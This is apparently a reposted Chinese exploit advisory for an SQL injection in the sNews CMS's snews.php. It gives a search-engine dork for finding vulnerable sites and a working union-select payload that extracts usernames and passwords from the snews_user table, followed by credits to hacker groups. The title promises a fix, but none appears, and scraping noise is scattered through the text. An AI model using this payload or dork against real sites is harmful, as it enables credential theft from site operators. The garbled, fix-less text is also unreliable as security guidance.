CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"


; m+ |, K5 W9 V  f0 r*************************************************************
+ p7 p2 ^: Y1 y% O% ^" Q* V
2 J9 X8 V/ n  c+ a1 [SQL poc:

http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]

示例
9 ]4 Q5 ~  T$ I. V( W* O
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*


8 @" {1 G1 g  _, w% @; Z致谢:
/ P- m. }) z; l, o2 z
# c) |* s% w! s7 W/ V  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder

spesial my hunny :*
, V8 Q* n% m: C9 r$ I, O6 c